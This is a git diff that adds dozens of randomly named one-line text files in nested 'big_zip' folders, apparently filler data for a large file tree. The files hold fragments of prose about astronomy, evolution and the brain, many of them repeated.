+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_mszqardd.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_nccemswlyxythkvjkzonhsk.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_nccemswlyxythkvjkzonhsk.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_nccemswlyxythkvjkzonhsk.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_qrbezpswejxzrmcmh.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_qrbezpswejxzrmcmh.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_qrbezpswejxzrmcmh.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_qywmyngwqkluu.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_qywmyngwqkluu.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_qywmyngwqkluu.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_rbajbbwhdorp.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_rbajbbwhdorp.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_rbajbbwhdorp.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_rqzphxusiha.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_rqzphxusiha.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_rqzphxusiha.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_skdndwqwhqk.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_skdndwqwhqk.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_skdndwqwhqk.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_stnsgudmyovtoxiw.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_stnsgudmyovtoxiw.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_stnsgudmyovtoxiw.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_tvpqvedvoeusugyka.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_tvpqvedvoeusugyka.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_tvpqvedvoeusugyka.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_vcpjqwzn.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_vcpjqwzn.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_vcpjqwzn.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_wpberwtrrsymvgim.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_wpberwtrrsymvgim.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_wpberwtrrsymvgim.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_xajuwllekp.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_xajuwllekp.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_xajuwllekp.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_xrdvdtcxokarbmftdzoa.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_xrdvdtcxokarbmftdzoa.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_xrdvdtcxokarbmftdzoa.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/lyneuqhazepocwys.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/lyneuqhazepocwys.txt
new file mode 100644
index 0000000..cb9c3b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/lyneuqhazepocwys.txt
@@ -0,0 +1 @@
+make out the many black forms moving before him. Perhaps they were crows.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/pmcnxfznpgyfm.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/pmcnxfznpgyfm.txt
new file mode 100644
index 0000000..b4ea58c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/pmcnxfznpgyfm.txt
@@ -0,0 +1 @@
+grandeur in this view of life . . . that, whilst this planet has gone cycling on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/snxsdgvyfcfxwehggfpx.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/snxsdgvyfcfxwehggfpx.txt
new file mode 100644
index 0000000..83eafe4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/snxsdgvyfcfxwehggfpx.txt
@@ -0,0 +1 @@
+Space travel and time travel are connected. We can travel fast into space only by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/vakjyrvsetfg.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/vakjyrvsetfg.txt
new file mode 100644
index 0000000..d59bccc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/vakjyrvsetfg.txt
@@ -0,0 +1 @@
+The speed of any given star around the center of the Galaxy is generally not the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/vfevcryeynooxbjxxvg.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/vfevcryeynooxbjxxvg.txt
new file mode 100644
index 0000000..63a93f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/vfevcryeynooxbjxxvg.txt
@@ -0,0 +1 @@
+* Because the speed of light is finite (see Chapter 8).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wgpqmnsmzeoi.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wgpqmnsmzeoi.txt
new file mode 100644
index 0000000..4317761
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wgpqmnsmzeoi.txt
@@ -0,0 +1 @@
+the limbic system and the cerebral cortex. When humans lived in small groups, when our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wnarztndzbiamkqhwlztq.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wnarztndzbiamkqhwlztq.txt
new file mode 100644
index 0000000..9c79019
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wnarztndzbiamkqhwlztq.txt
@@ -0,0 +1 @@
+at a friend three meters (ten feet) away, at the other end of the room, you are not seeing her
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wqcslvppakickj.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wqcslvppakickj.txt
new file mode 100644
index 0000000..eeecc0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/wqcslvppakickj.txt
@@ -0,0 +1 @@
+wind up caring for and knowing about. No longer at the mercy of the reptile brain, we can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_amzadfpuvjaxwtgejvspy.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_amzadfpuvjaxwtgejvspy.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_amzadfpuvjaxwtgejvspy.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_csxczznotameeaaz.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_csxczznotameeaaz.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_csxczznotameeaaz.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_cyvjkpkdwrkpkfn.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_cyvjkpkdwrkpkfn.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_cyvjkpkdwrkpkfn.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_gismttopcce.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_gismttopcce.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_gismttopcce.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_hvmvypmbqeehzvmwjulehgy.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_hvmvypmbqeehzvmwjulehgy.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_hvmvypmbqeehzvmwjulehgy.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_ilknepkbdobwitcncdmuvjzt.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_ilknepkbdobwitcncdmuvjzt.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_ilknepkbdobwitcncdmuvjzt.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_jkwzeynuaoad.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_jkwzeynuaoad.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_jkwzeynuaoad.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_kpkhatpyxocerolnxlw.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_kpkhatpyxocerolnxlw.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_kpkhatpyxocerolnxlw.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_rzmaghqvgrfyzhho.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_rzmaghqvgrfyzhho.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_rzmaghqvgrfyzhho.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_suazowcjbia.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_suazowcjbia.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_suazowcjbia.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_tfvyclgeq.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_tfvyclgeq.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_tfvyclgeq.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/file_uvxmwnlhfqhkxykcaslc.txt b/big_zip/big-zip-files/folder_blsoptsoyw/file_uvxmwnlhfqhkxykcaslc.txt
new file mode 100644
index 0000000..aa922c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/file_uvxmwnlhfqhkxykcaslc.txt
@@ -0,0 +1 @@
+cultures - perhaps into a mathematical point with no dimensions at all. It was not that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_acebkumtujdvhytw.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_acebkumtujdvhytw.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_acebkumtujdvhytw.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_aniyudwogpmowhb.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_aniyudwogpmowhb.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_aniyudwogpmowhb.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_bfuvwecxekg.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_bfuvwecxekg.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_bfuvwecxekg.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_cfiegbxl.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_cfiegbxl.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_cfiegbxl.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_dgfiaijnvtfxbcyogjcs.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_dgfiaijnvtfxbcyogjcs.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_dgfiaijnvtfxbcyogjcs.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_joygxbqywaxuoszf.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_joygxbqywaxuoszf.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_joygxbqywaxuoszf.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_lircouqx.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_lircouqx.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_lircouqx.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_lnpiqnzuuwlbttuyzm.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_lnpiqnzuuwlbttuyzm.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_lnpiqnzuuwlbttuyzm.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_mszulils.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_mszulils.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_mszulils.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_nfjotatmw.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_nfjotatmw.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_nfjotatmw.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_nsknnotreft.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_nsknnotreft.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_nsknnotreft.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_pdbxhvaaxuva.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_pdbxhvaaxuva.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_pdbxhvaaxuva.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_ptdkyenwkshfisy.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_ptdkyenwkshfisy.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_ptdkyenwkshfisy.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_qdyaoqvzjbfynkjjkpb.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_qdyaoqvzjbfynkjjkpb.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_qdyaoqvzjbfynkjjkpb.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_ruhlpzcloae.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_ruhlpzcloae.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_ruhlpzcloae.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_smrauipgrhfydutdzjlxf.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_smrauipgrhfydutdzjlxf.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_smrauipgrhfydutdzjlxf.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_stfxcbfk.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_stfxcbfk.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_stfxcbfk.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_tzzpxuwphwtmkng.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_tzzpxuwphwtmkng.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_tzzpxuwphwtmkng.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_uewkrszjssrey.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_uewkrszjssrey.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_uewkrszjssrey.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_unesibhqkmfdhssvkfu.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_unesibhqkmfdhssvkfu.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_unesibhqkmfdhssvkfu.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_upxwnnpjkfo.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_upxwnnpjkfo.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_upxwnnpjkfo.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_wahbsmwantbrplpjhgrlfc.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_wahbsmwantbrplpjhgrlfc.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_wahbsmwantbrplpjhgrlfc.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_wprbzyovcnrpwb.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_wprbzyovcnrpwb.txt
new file mode 100644
